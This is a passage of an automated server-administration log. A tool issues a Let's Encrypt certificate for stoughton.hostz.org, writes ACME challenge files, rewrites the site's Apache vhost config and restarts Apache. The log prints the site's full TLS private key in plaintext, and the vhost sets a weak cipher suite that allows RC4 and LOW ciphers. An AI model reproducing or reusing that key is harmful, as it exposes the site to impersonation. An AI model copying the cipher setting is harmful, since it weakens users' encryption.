	DocumentRoot /var/www/html

	# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
	# error, crit, alert, emerg.
	# It is also possible to configure the loglevel for particular
	# modules, e.g.
	#LogLevel info ssl:warn

	ErrorLog ${APACHE_LOG_DIR}/error.log
	CustomLog ${APACHE_LOG_DIR}/access.log combined

	# For most configuration files from conf-available/, which are
	# enabled or disabled at a global level, it is possible to
	# include a line for only one particular virtual host. For example the
	# following line enables the CGI configuration for this host only
	# after it has been globally disabled with "a2disconf".
	#Include conf-available/serve-cgi-bin.conf

	#   SSL Engine Switch:
	#   Enable/Disable SSL for this virtual host.
	SSLEngine on

	#   A self-signed (snakeoil) certificate can be created by installing
	#   the ssl-cert package. See
	#   /usr/share/doc/apache2/README.Debian.gz for more info.
	#   If both key and certificate are stored in the same file, only the
	#   SSLCertificateFile directive is needed.
	SSLCertificateFile      /etc/ssl/certs/ssl-cert-snakeoil.pem
	SSLCertificateKeyFile   /etc/ssl/private/ssl-cert-snakeoil.key

	#   Server Certificate Chain:
	#   Point SSLCertificateChainFile at a file containing the
	#   concatenation of PEM encoded CA certificates which form the
	#   certificate chain for the server certificate. Alternatively
	#   the referenced file can be the same as SSLCertificateFile
	#   when the CA certificates are directly appended to the server
	#   certificate for convinience.
	#SSLCertificateChainFile /etc/apache2/ssl.crt/server-ca.crt

	#   Certificate Authority (CA):
	#   Set the CA certificate verification path where to find CA
	#   certificates for client authentication or alternatively one
	#   huge file containing all of them (file must be PEM encoded)
	#   Note: Inside SSLCACertificatePath you need hash symlinks
	#         to point to the certificate files. Use the provided
	#         Makefile to update the hash symlinks after changes.
	#SSLCACertificatePath /etc/ssl/certs/
	#SSLCACertificateFile /etc/apache2/ssl.crt/ca-bundle.crt

	#   Certificate Revocation Lists (CRL):
	#   Set the CA revocation path where to find CA CRLs for client
	#   authentication or alternatively one huge file containing all
	#   of them (file must be PEM encoded)
	#   Note: Inside SSLCARevocationPath you need hash symlinks
	#         to point to the certificate files. Use the provided
	#         Makefile to update the hash symlinks after changes.
	#SSLCARevocationPath /etc/apache2/ssl.crl/
	#SSLCARevocationFile /etc/apache2/ssl.crl/ca-bundle.crl

	#   Client Authentication (Type):
	#   Client certificate verification type and depth.  Types are
	#   none, optional, require and optional_no_ca.  Depth is a
	#   number which specifies how deeply to verify the certificate
	#   issuer chain before deciding the certificate is not valid.
	#SSLVerifyClient require
	#SSLVerifyDepth  10

	#   SSL Engine Options:
	#   Set various options for the SSL engine.
	#   o FakeBasicAuth:
	#    Translate the client X.509 into a Basic Authorisation.  This means that
	#    the standard Auth/DBMAuth methods can be used for access control.  The
	#    user name is the `one line' version of the client's X.509 certificate.
	#    Note that no password is obtained from the user. Every entry in the user
	#    file needs this password: `xxj31ZMTZzkVA'.
	#   o ExportCertData:
	#    This exports two additional environment variables: SSL_CLIENT_CERT and
	#    SSL_SERVER_CERT. These contain the PEM-encoded certificates of the
	#    server (always existing) and the client (only existing when client
	#    authentication is used). This can be used to import the certificates
	#    into CGI scripts.
	#   o StdEnvVars:
	#    This exports the standard SSL/TLS related `SSL_*' environment variables.
	#    Per default this exportation is switched off for performance reasons,
	#    because the extraction step is an expensive operation and is usually
	#    useless for serving static content. So one usually enables the
	#    exportation for CGI and SSI requests only.
	#   o OptRenegotiate:
	#    This enables optimized SSL connection renegotiation handling when SSL
	#    directives are used in per-directory context.
	#SSLOptions +FakeBasicAuth +ExportCertData +StrictRequire
	<FilesMatch "\.(?:cgi|shtml|phtml|php)$">
		SSLOptions +StdEnvVars
	</FilesMatch>
	<Directory /usr/lib/cgi-bin>
		SSLOptions +StdEnvVars
	</Directory>
</VirtualHost>


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/ssl-cert-snakeoil.pem	1074
-----BEGIN CERTIFICATE-----
MIIC7DCCAdSgAwIBAgIUNgYLn4xJKkYMpgln70QCMXjIgRMwDQYJKoZIhvcNAQEL
BQAwEDEOMAwGA1UEAwwFcGx1dG8wHhcNMjYwNDE4MTQzNjQzWhcNMzYwNDE1MTQz
NjQzWjAQMQ4wDAYDVQQDDAVwbHV0bzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCC
AQoCggEBAKeC49rpviXrQm182v84ryZDMNi8WXt9ameWCVg6LJAyrw7QeAK0VstT
ZKdLqUsrJqi7MedzKjuElBTIcAt4BnEg9YGJTItLXsCEUMoI39JKghh3yHm3EfK8
WU9UpbRO/MY9BhHpmnbKVzEPCe5tBq3cOxDGaUjXygRvdH+dDrmJ9cMi3C0FI3KB
HOQq1LipUcyGo6zm4sRcj9swEZ1c1ZlIxd5pMXSXF3CBj7e10mwDvBDBUKA4BTdA
11YjQ+5Bp6r0fOumY64fIFuBsr0wz2Fh037YcueTelBxDDN0iJmrT1d1TdtzXPqN
fiEGph9xZd0avK2WghpZkhH0lUMW35cCAwEAAaM+MDwwCQYDVR0TBAIwADAQBgNV
HREECTAHggVwbHV0bzAdBgNVHQ4EFgQU9OWSlFeMqMBupd9OrzPRuyPmYh8wDQYJ
KoZIhvcNAQELBQADggEBAFDGiuTBdzLV/ZFnwrGoSiPMpNo7uuUsPcORJQdIs6sN
XKEHkEayTY1w5l2y+HslTenhmKGFRceidibVkDZhUC98fPx0suOYsnztcLr7eZPz
u0/PoRwekLGXdS6niua50xioaoLEEhyPxoyA9ESOYXsbK5kuE1C72Xb8EQsXlbps
7QCo8anOdZa8lVGPSrdl/LIjOD7tDY65NpnEdMpP0bCF5XcQWN+BRraEPLmyyliZ
OjzbxX9KoZnmYXr71z51p3YCs3n/x4noteoHgSknr6idC0I0yeKFPYaz5VoMEpaE
JRrXlW32ReYZcY9TMqqN4GC1jBaBHo6N2HBvEG/odbU=
-----END CERTIFICATE-----




(gzipped output)


MD5(/etc/apache2/apache2.conf)= 354c9e6d2b88a0a3e0548f853840674c
MD5(/etc/apache2/ports.conf)= e0eadfd8b9250d90d5c3004171eb78f6
MD5(/etc/apache2/sites-available/000-default.conf)= 45ed6a20d7ff26b62d873585bc1b42ca
MD5(/etc/apache2/sites-available/default-ssl.conf)= 58d23841f0ea37f6c3c1f1c7bda9c6d7
MD5(/etc/ssl/certs/ssl-cert-snakeoil.pem)= 14391e87eacd6f9c625f0625b8cccabf
link(/etc/apache2/sites-enabled/000-default.conf)= /etc/apache2/sites-available/000-default.conf




STDERR:
/tmp/pkp426958:12: SyntaxWarning: invalid escape sequence '\s'
  match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)


2026-04-20 06:00:03: Establishing a connection
2026-04-20 06:00:04: Establishing a connection
2026-04-20 06:00:05: 

PUT: /tmp/pkp228297

#!/bin/bash
if [ -d "/var/www/hostz_stoughton/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-04-20 06:00:06: 

chmod 755 /tmp/pkp228297; /tmp/pkp228297; rm /tmp/pkp228297

2026-04-20 06:00:06: 


1


2026-04-20 06:00:07: Establishing a connection
2026-04-20 06:00:08: 

PUT: /tmp/pkp997789

#!/bin/bash
mkdir -p "/var/www/hostz_stoughton/.well-known/acme-challenge/"
cd "/var/www/hostz_stoughton/.well-known/acme-challenge/"
cat > Kf2YZQZ_M8cay6IVO1w7_gW7gT_t3e0Lsl61KpnPYvg <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
Kf2YZQZ_M8cay6IVO1w7_gW7gT_t3e0Lsl61KpnPYvg.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 Kf2YZQZ_M8cay6IVO1w7_gW7gT_t3e0Lsl61KpnPYvg


2026-04-20 06:00:09: 

chmod 755 /tmp/pkp997789; /tmp/pkp997789; rm /tmp/pkp997789

2026-04-20 06:00:09: 




2026-04-20 06:00:16: Establishing a connection
2026-04-20 06:00:17: 

PUT: /tmp/pkp892122

#!/bin/bash
mkdir -p "/var/www/hostz_stoughton/.well-known/acme-challenge/"
cd "/var/www/hostz_stoughton/.well-known/acme-challenge/"
rm Kf2YZQZ_M8cay6IVO1w7_gW7gT_t3e0Lsl61KpnPYvg


2026-04-20 06:00:17: 

chmod 755 /tmp/pkp892122; /tmp/pkp892122; rm /tmp/pkp892122

2026-04-20 06:00:18: 




2026-04-20 06:00:18: Establishing a connection
2026-04-20 06:00:19: 

PUT: /tmp/pkp111866

#!/bin/bash
temp_file=$(mktemp)
TARGET=ecea81f90eb664107ec66742d2c0036d

cat > $temp_file <<'endmsg'
4d:4e:a2:c3:87:89:56:ec:88:b1:ec:23:49:63:62:0e

-----BEGIN CERTIFICATE-----
MIIFADCCA+igAwIBAgISBpIGkOYWCxTSj7xBy9amrx1OMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNDIwMDUwMTQ0WhcNMjYwNzE5MDUwMTQzWjAeMRwwGgYDVQQD
ExNzdG91Z2h0b24uaG9zdHoub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA5exCoK347sXry7FlBEMAmsnJtVMjEsvsdAmM92mATQAhZg/Yo826dZBz
ATbyvPYU6aIdOpZAPnccxYEuT6nMLE2mmbc/0+rpLFEOwth5fa4jpzPlgCRmj8c5
cotKkYFJYoUlUbquTjcdpO1wt3DlkDXVMJ9J14LHLnFCD4oiBwMVtkeRvm4UAgsr
3Wo+T5TDcmv8LYRjmQidk15xFzGIGft+W+zeOpcyf92c7jSYJ2x6akorkH9wUwh1
2mKOco65c0ytn5dRbqr3rUZONZCLO7vlJPS5yOF7QXBBxxXLIx6EoZZuyKaSSmZN
RqeUSz18XQbNm5/1jRgnvkFjpQgbhwIDAQABo4ICITCCAh0wDgYDVR0PAQH/BAQD
AgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYE
FPxhRcsFvP3XbWtXfgWZQowO4qQ3MB8GA1UdIwQYMBaAFOernw8sM6BT015PeMiy
hA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMy5p
LmxlbmNyLm9yZy8wHgYDVR0RBBcwFYITc3RvdWdodG9uLmhvc3R6Lm9yZzATBgNV
HSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8vcjEzLmMu
bGVuY3Iub3JnLzc5LmNybDCCAQwGCisGAQQB1nkCBAIEgf0EgfoA+AB2ANgJVTuU
T3r/yBYZb5RPhauw+Pxeh1UmDxXRLnK7RUsUAAABnal5o9MAAAQDAEcwRQIhAK9N
mhsfXdhzntE2rxgdc8ewUgElec4TwBNqZglXqKKEAiAF+0w1vMYmEozdPp/DHmXN
NoFgzNwsjjfdEOMOmhqVzQB+ACbjZG5YaSEjvDQ/RyQ1mzeSzSRaiNgV05Mz/ZkY
q0cjAAABnal5o7YACAAABQAIq+NeBAMARzBFAiEA+rXVOYZn03IfvwZi8cfvIjss
I3uU3IiIgaI/GAoTMp8CIHPGSAw7T+1u1xYJGjp877j6akbb82Yt0138VXkIYklG
MA0GCSqGSIb3DQEBCwUAA4IBAQAhiailWwn3NrfZGoA3KZ+PvOTs7382Fghx3VIC
WCQ7HI9Y3M+MTG3Kq260GdHxZJ/gAeZWyS4vJ1DygLo++Zp9vxNTtN19PPv1xiDk
zrdzklK6IeZ2fnHSRjQSMgh8jOQAT0d2BgZ/8ShmhHemUoOBV2wcnhe1sWnR1OKi
N/m0QgcaHWG/hAI6OO9Hgj8Pgg62TocWp36/KkZLXzBueR40vcqDvYREMez2r0Pk
r5ObaDKAUuHJDKg7eaSqIQ4A1NTJxC4FT74YGHhsfoKo9R1bNKoBCmAicyc7SWEj
Bx3ymfLl55WhMMUHCiv5kDM95QRgWLGeQdEfUZgb0qnViD//
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDl7EKgrfjuxevL
sWUEQwCaycm1UyMSy+x0CYz3aYBNACFmD9ijzbp1kHMBNvK89hTpoh06lkA+dxzF
gS5PqcwsTaaZtz/T6uksUQ7C2Hl9riOnM+WAJGaPxzlyi0qRgUlihSVRuq5ONx2k
7XC3cOWQNdUwn0nXgscucUIPiiIHAxW2R5G+bhQCCyvdaj5PlMNya/wthGOZCJ2T
XnEXMYgZ+35b7N46lzJ/3ZzuNJgnbHpqSiuQf3BTCHXaYo5yjrlzTK2fl1Fuqvet
Rk41kIs7u+Uk9LnI4XtBcEHHFcsjHoShlm7IppJKZk1Gp5RLPXxdBs2bn/WNGCe+
QWOlCBuHAgMBAAECggEAAUkpdDmU10z/DRQQYw423ia7vIpa+1ttlpaJFcceww95
oFb9WKkpXkfxBLQ4dksQAeB4tl+pu0+yNv6KckKaVDMY9+oY7sf1BtzrLrbEMyo6
o9A7+9P4SNyN2zChOaAV93mUJFldaS2Qul/jjfsRJZXPe+agJJbkI0PZ4TleCFj+
2uXrm9/FE/ZpfVf6zZbJb4nBst1fMiFDI46+xjWbDNZ6uB4FNwqM322SrWtoQTiw
pqFPJ9CUrS4Cf03pIM5ozAduSvEgXiiglmK/Ic0bB8UZckX8USHP1c7jI4Kw4Kji
aQP5VnWVzKQATQ4FmW48+VU8RpApz9beMQkw7VP2NQKBgQD0tNpvijo92QM8kKUj
pl0uUx/3zfSxh9vC58IyToJ7J0HYWYaeZ26HBn99ojNUxDunbSu2ZWhAhs9lwzn+
VgICekA0uwcDTrssbH75QfD3H2a9sulRrxe8Kks0ffKz31BxtR6JIydRIvJmpJ12
NXXBLYY2lZPi0lMc6a2mugYaCwKBgQDwiL4nlhO9M4PzqVevvhv5eqp/ktoLH997
c3ZLY3w6Y9yImtqqpvfVv5rRa2DV+4CK0dcC4IkMV3GEhTyEb0uuokaSehlYDcd1
VBpw27VZhhCM0RaFAZmSpuFVptrf1qf09UfNmEeLCY58Ep8jtM1ixpTFQ+gwEI88
fbImB1/t9QKBgByE72hMfdkzb5MhcH2lJ/r8KR+iW0BNiyk+BX4DdGWR/7SNSokv
mMwXz8f+nWjlreYnbQ7G5s2OaKF9jUa9E2LiiJUcrwaNqHbW9j1qmADVIg49yb+B
XozJiRZHD4AzKJb3+uUUucJVBlc8HDXoqR6ohZna+O9Yf+NAwMJLr+ZdAoGAZJms
fj4Ej3NGUtiWtggbByLIwIaY72IrRCSsayd2w60UhYXOwuUGbr2ucLwqShTgVC8j
cC6c4y6HadeX0gQCcU2pmoW6p9tLesTsMhuSI5kwvtSMSKC8rFtjj0Ez9b5/jLIx
j8mK0pnyn+3h5TsvU4qemkqmh8PFRJWFtuYKtykCgYEAvM7EUZy91cdTIFwPk3xj
s7Kmu5MBj7kRZlQEScrlw4iYRy+vkJdIGEfdFV6RABB5Sk86RsQnTTritQUN5Yxh
RvJvNlokrqsqtxpAvF+zNn8pICQXAA0pss8k4tEll7Lltw2ea2RWaa4wfBfN7ppZ
lDUAtuoIN1MkV5YCg1fqVcw=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-04-20 06:00:19: 

chmod 755 /tmp/pkp111866; /tmp/pkp111866; rm /tmp/pkp111866

2026-04-20 06:00:20: 


dir=/etc/ssl/certs


2026-04-20 06:00:20: 

PUT: /tmp/pkp287457

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hostz_stoughton_us.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-04-20 06:00:20: 

chmod 755 /tmp/pkp287457; /tmp/pkp287457; rm /tmp/pkp287457

2026-04-20 06:00:20: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_stoughton_us.conf 42
ServerName	stoughton.hostz.org

<VirtualHost *:80>
    ServerName	stoughton.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_stoughton
    <Directory /var/www/hostz_stoughton>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/stoughton_access.log combined
    ErrorLog	/var/log/apache2/pjy/stoughton_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.py index.php
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
    #    RewriteEngine       On
#    RewriteCond %{REQUEST_METHOD} !POST
#    RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	stoughton.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
    DocumentRoot	/var/www/hostz_stoughton
    <Directory /var/www/hostz_stoughton>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
        Require	all granted
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_stoughton/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/pjy/stoughton_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/stoughton_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py index.php
</VirtualHost>






2026-04-20 06:00:20: 

PUT: /tmp/pkp767516

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hostz_stoughton_us.conf
TARGET=/etc/apache2/sites-enabled/hostz_stoughton_us.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
ServerName	stoughton.hostz.org

<VirtualHost *:80>
    ServerName	stoughton.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_stoughton
    <Directory /var/www/hostz_stoughton>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/stoughton_access.log combined
    ErrorLog	/var/log/apache2/pjy/stoughton_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.py index.php
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
    #    RewriteEngine       On
#    RewriteCond %{REQUEST_METHOD} !POST
#    RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	stoughton.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
    DocumentRoot	/var/www/hostz_stoughton
    <Directory /var/www/hostz_stoughton>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
        Require	all granted
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_stoughton/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/pjy/stoughton_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/stoughton_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py index.php
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hostz_stoughton_us.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hostz_stoughton_us.conf)= /etc/apache2//etc/apache2/sites-enabled/hostz_stoughton_us.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hostz_stoughton_us.conf= 1'
fi


2026-04-20 06:00:21: 

chmod 755 /tmp/pkp767516; /tmp/pkp767516; rm /tmp/pkp767516

2026-04-20 06:00:21: 




2026-04-20 06:00:21: 

PUT: /tmp/pkp829036

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-04-20 06:00:21: 

chmod 755 /tmp/pkp829036; /tmp/pkp829036; rm /tmp/pkp829036

2026-04-20 06:00:22: 


.


2026-04-20 06:00:22: Establishing a connection
2026-04-20 06:00:23: 

PUT: /tmp/pkp740626

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-04-20 06:00:24: 

chmod 755 /tmp/pkp740626; /tmp/pkp740626; rm /tmp/pkp740626

2026-04-20 06:00:24: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
         port 80 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
         port 80 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:1)
         port 80 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:1)
         port 80 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:1)
         port 80 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:3)
*:443                  is a NameVirtualHost
         default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
         port 443 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
         port 443 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:37)
         port 443 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:22)
         port 443 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:22)
         port 443 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:28)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2026-04-20 06:00:24: 

PUT: /tmp/pkp905520

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hostz_stoughton_us.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-20 06:00:24: 

chmod 755 /tmp/pkp905520; /tmp/pkp905520; rm /tmp/pkp905520

2026-04-20 06:00:25: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_stoughton_us.conf	1887
ServerName	stoughton.hostz.org

<VirtualHost *:80>
    ServerName	stoughton.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_stoughton
    <Directory /var/www/hostz_stoughton>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/stoughton_access.log combined
    ErrorLog	/var/log/apache2/pjy/stoughton_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.py index.php
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
    #    RewriteEngine       On
